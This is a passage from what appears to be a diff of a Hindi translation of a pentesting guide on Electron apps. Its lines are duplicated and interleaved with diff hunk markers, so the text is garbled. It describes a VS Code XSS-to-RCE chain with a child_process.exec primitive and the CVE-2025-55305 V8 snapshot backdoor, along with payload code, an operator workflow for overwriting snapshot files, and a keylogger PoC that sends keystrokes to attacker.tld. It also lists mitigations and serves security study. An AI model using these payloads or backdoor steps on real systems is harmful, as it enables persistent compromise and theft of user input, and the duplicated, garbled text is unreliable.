- First XSS via webview CSP: जनरेट की गई CSP में `style-src 'self' 'unsafe-inline'` शामिल था, जिससे `vscode-webview://` संदर्भ में inline/style-based injection की अनुमति मिली। payload ने `/stealID` पर beacon कर के target webview’s extensionId को exfiltrate किया।
- Constructing target webview URL: leaked ID का उपयोग करके `vscode-webview://<extensionId>/.../<publicUrl>` बनाया गया।
- Second XSS via postMessage trust: outer webview ने `window.postMessage` पर strict origin/type checks के बिना भरोसा किया और attacker HTML को `allowScripts: true` के साथ लोड किया।
- Local file loading via scheme/path rewriting: payload ने `file:///...` को `vscode-file://vscode-app/...` में rewrite किया और `exploit.md` को बदल कर `RCE.html` लोड किया, कमज़ोर path validation का दुरुपयोग करके privileged local resource लोड किया गया।
- RCE in Node-enabled context: लोड की गई HTML Node APIs के साथ execute हुई, जिससे OS command execution संभव हुआ।
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
```js
@ -421,7 +417,7 @@ Example RCE primitive in the final context
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
postMessage ट्रस्ट मुद्दों पर संबंधित पढ़ाई:
postMessage trust issues पर संबंधित पढ़ने की सामग्री:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
@ -429,16 +425,16 @@ postMessage ट्रस्ट मुद्दों पर संबंधि
## **टूल्स**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron-आधारित applications में misconfigurations और security anti-patterns की पहचान करने के लिए एक टूल है।
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron applications के लिए Electronegativity का उपयोग करने वाला एक open source VS Code plugin है।
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) कमजोर third-party libraries की जाँच करने के लिए
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron-based applications में misconfigurations और security anti-patterns की पहचान करने का टूल है।
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron applications के लिए एक open source VS Code plugin है जो Electronegativity का उपयोग करता है।
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) vulnerable third party libraries की जाँच करने के लिए
- [**Electro.ng**](https://electro.ng/): आपको इसे खरीदना होगा
## लैब्स
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) आप vulnerable Electron apps को exploit करने के लिए एक लैब पा सकते हैं।
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) में आप vulnerable Electron apps को exploit करने के लिए एक लैब पा सकते हैं।
लैब में आपकी मदद करने वाले कुछ कमांड:
कुछ कमांड्स जो लैब में आपकी मदद करेंगे:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -463,18 +459,18 @@ npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron and Chromium-based apps स्टार्टअप पर एक prebuilt V8 heap snapshot को deserialize करते हैं (v8_context_snapshot.bin, और वैकल्पिक रूप से browser_v8_context_snapshot.bin) ताकि हर V8 isolate (main, preload, renderer) को initialize किया जा सके। ऐतिहासिक रूप से, Electron के integrity fuses इन्हें executable content के रूप में treat नहीं करते थे, इसलिए ये fuse-based integrity enforcement और OS code-signing checks दोनों से बच जाते थे। नतीजतन, user-writable installation में snapshot को बदलने से बिना signed binaries या ASAR को modify किए ऐप के अंदर stealthy, persistent code execution संभव हो गया।
Electron और Chromium-based apps स्टार्टअप पर एक prebuilt V8 heap snapshot (v8_context_snapshot.bin, और वैकल्पिक रूप से browser_v8_context_snapshot.bin) को deserialize करती हैं ताकि हर V8 isolate (main, preload, renderer) को initialize किया जा सके। ऐतिहासिक रूप से, Electron की integrity fuses इन snapshots को executable content नहीं मानती थीं, इसलिए ये fuse-based integrity enforcement और OS code-signing checks दोनों से बच निकलते थे। परिणामस्वरूप, user-writable installation में snapshot को बदलना signed binaries या ASAR को modify किए बिना ऐप के अंदर stealthy, persistent code execution की अनुमति देता था।
मुख्य बिंदु
- Integrity gap: EnableEmbeddedAsarIntegrityValidation और OnlyLoadAppFromAsar ASAR के अंदर app JavaScript को validate करते हैं, लेकिन ये V8 heap snapshots (CVE-2025-55305) को कवर नहीं करते थे। Chromium भी इसी तरह snapshots की integrity-check नहीं करता।
- Attack preconditions: एप्लिकेशन की installation directory में local file write की अनुमति। यह उन सिस्टम्स पर आम है जहाँ Electron apps या Chromium browsers user-writable paths में install होते हैं (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: किसी भी isolate में attacker JavaScript का विश्वसनीय execution एक अक्सर इस्तेमाल होने वाले builtin (या “gadget”) को बदलकर संभव होता है, जिससे persistence और code-signing verification से evasion हासिल होती है।
- Affected surface: Electron apps (यहां तक कि fuses enabled होने पर भी) और वे Chromium-based browsers जो snapshots को user-writable स्थानों से load करते हैं।
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: लोकल फाइल लिखने की अनुमति एप्लिकेशन की installation directory में। यह उन सिस्टम्स पर आम है जहाँ Electron apps या Chromium browsers user-writable paths में इंस्टॉल होते हैं (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: किसी भी isolate में attacker JavaScript का विश्वसनीय execution एक अक्सर इस्तेमाल होने वाले builtin (एक “gadget”) को clobber करके, जिससे persistence और code-signing verification से बचाव संभव होता है।
- Affected surface: Electron apps (even with fuses enabled) और वे Chromium-based browsers जो snapshots को user-writable locations से लोड करते हैं।
Generating a malicious snapshot without building Chromium
- prebuilt electron/mksnapshot का उपयोग करके payload JS को एक snapshot में compile करें और application के v8_context_snapshot.bin को overwrite करें।
- prebuilt electron/mksnapshot का उपयोग करके payload JS को एक snapshot में compile करें और application's v8_context_snapshot.bin को overwrite करें।
उदाहरण: न्यूनतम payload (execution साबित करने के लिए crash force करना)
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -489,10 +485,10 @@ throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- Main process detection: Node-only globals जैसे process.pid, process.binding(), या process.dlopen main process isolate में मौजूद होते हैं।
- Browser/renderer detection: Browser-only globals जैसे alert document context में चलने पर उपलब्ध होते हैं।
- Main प्रक्रिया का पता लगाना: Node-only globals जैसे process.pid, process.binding(), या process.dlopen main process isolate में मौजूद होते हैं।
- Browser/renderer का पता लगाना: Browser-only globals जैसे alert डॉक्यूमेंट context में चलने पर उपलब्ध होते हैं।
उदाहरण gadget जो एक बार main-process Node क्षमताओं की जांच करता है
उदाहरण gadget जो main-process की Node क्षमताओं को एक बार जांचता है
```js
const orig = Array.isArray;
@ -521,7 +517,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context डेटा चोरी PoC (उदा., Slack)
Renderer/browser-context डेटा चोरी PoC (e.g., Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -545,31 +541,27 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Operator workflow
1) payload.js लिखें जो एक सामान्य builtin को clobber करे (उदा., Array.isArray) और वैकल्पिक रूप से प्रति isolate branch करे।
ऑपरेटर कार्यप्रवाह
1) payload.js लिखें जो किसी सामान्य builtin (उदा., Array.isArray) को ओवरराइट करे और आवश्यकतानुसार प्रति isolate अलग व्यवहार करे।
2) Chromium स्रोतों के बिना snapshot बनाएं:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) लक्ष्य application के snapshot फाइल(ें) को overwrite करें:
3) लक्षित एप्लिकेशन के snapshot फाइल(ें) को ओवरराइट करें:
- v8_context_snapshot.bin (हमेशा उपयोग होता है)
- browser_v8_context_snapshot.bin (यदि LoadBrowserProcessSpecificV8Snapshot fuse उपयोग हो रहा है)
4) एप्लिकेशन लॉन्च करें; gadget तब execute होगा जब भी चुना गया builtin उपयोग किया जाएगा।
- browser_v8_context_snapshot.bin (यदि LoadBrowserProcessSpecificV8Snapshot fuse उपयोग में है)
4) एप्लिकेशन लॉन्च करें; चुने गए builtin के उपयोग पर gadget निष्पादित होता है।
Notes and considerations
- Integrity/signature bypass: Snapshot फाइलों को code-signing checks द्वारा native executables की तरह नहीं माना जाता और (ऐतिहासिक रूप से) वे Electron के fuses या Chromium integrity controls द्वारा कवर नहीं किए गए थे।
- Persistence: user-writable install में snapshot को बदलना आम तौर पर app restarts को सहन कर देता है और यह एक signed, legitimate app जैसा दिखता है।
- Chromium browsers: वही tampering सिद्धांत Chrome/derivatives पर लागू होता है जो user-writable लोकेशनों में इंस्टॉल होते हैं। Chrome के पास अन्य integrity mitigations हैं लेकिन यह स्पष्ट रूप से physically local attacks को अपने threat model से बाहर रखता है।
नोट्स और विचार
- Integrity/signature bypass: Snapshot फ़ाइलों को code-signing चेक्स द्वारा native executables के रूप में नहीं माना जाता और (ऐतिहासिक रूप से) वे Electron के fuses या Chromium के integrity controls द्वारा कवर नहीं थे।
- Persistence: user-writable install में snapshot बदलने से आमतौर पर ऐप रिस्टार्ट के बाद भी टिकता है और यह एक signed, legitimate ऐप जैसा दिखता है।
- Chromium browsers: यही टैम्परिंग कॉन्सेप्ट Chrome/derivatives पर भी लागू होता है जो user-writable लोकेशन्स में इंस्टॉल हैं। Chrome के पास अन्य integrity mitigations हैं पर यह अपने threat model से physically local attacks को स्पष्ट रूप से बाहर रखता है।
Detection and mitigations
डिटेक्शन और रोकथाम
- Snapshots को executable content के रूप में मानें और उन्हें integrity enforcement में शामिल करें (CVE-2025-55305 fix).
- केवल admin-writable install locations को प्राथमिकता दें; v8_context_snapshot.bin और browser_v8_context_snapshot.bin के लिए baseline और hashes मॉनिटर करें।
- early-runtime builtin clobbering और अनपेक्षित snapshot बदलावों का पता लगाएँ; जब deserialized snapshots अपेक्षित मानों से मेल नहीं खाते तो alert करें।
- प्राथमिकता दें कि इंस्टॉल लोकेशन केवल admin-writable हों; v8_context_snapshot.bin और browser_v8_context_snapshot.bin के लिए बेसलाइन बनाएं और उनके hashes मॉनिटर करें।
- Early-runtime builtin clobbering और अनपेक्षित snapshot परिवर्तन पहचानें; जब deserialized snapshots अपेक्षित मानों से मेल नहीं खाते तो अलर्ट दें।
## **References**
## **संदर्भ**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)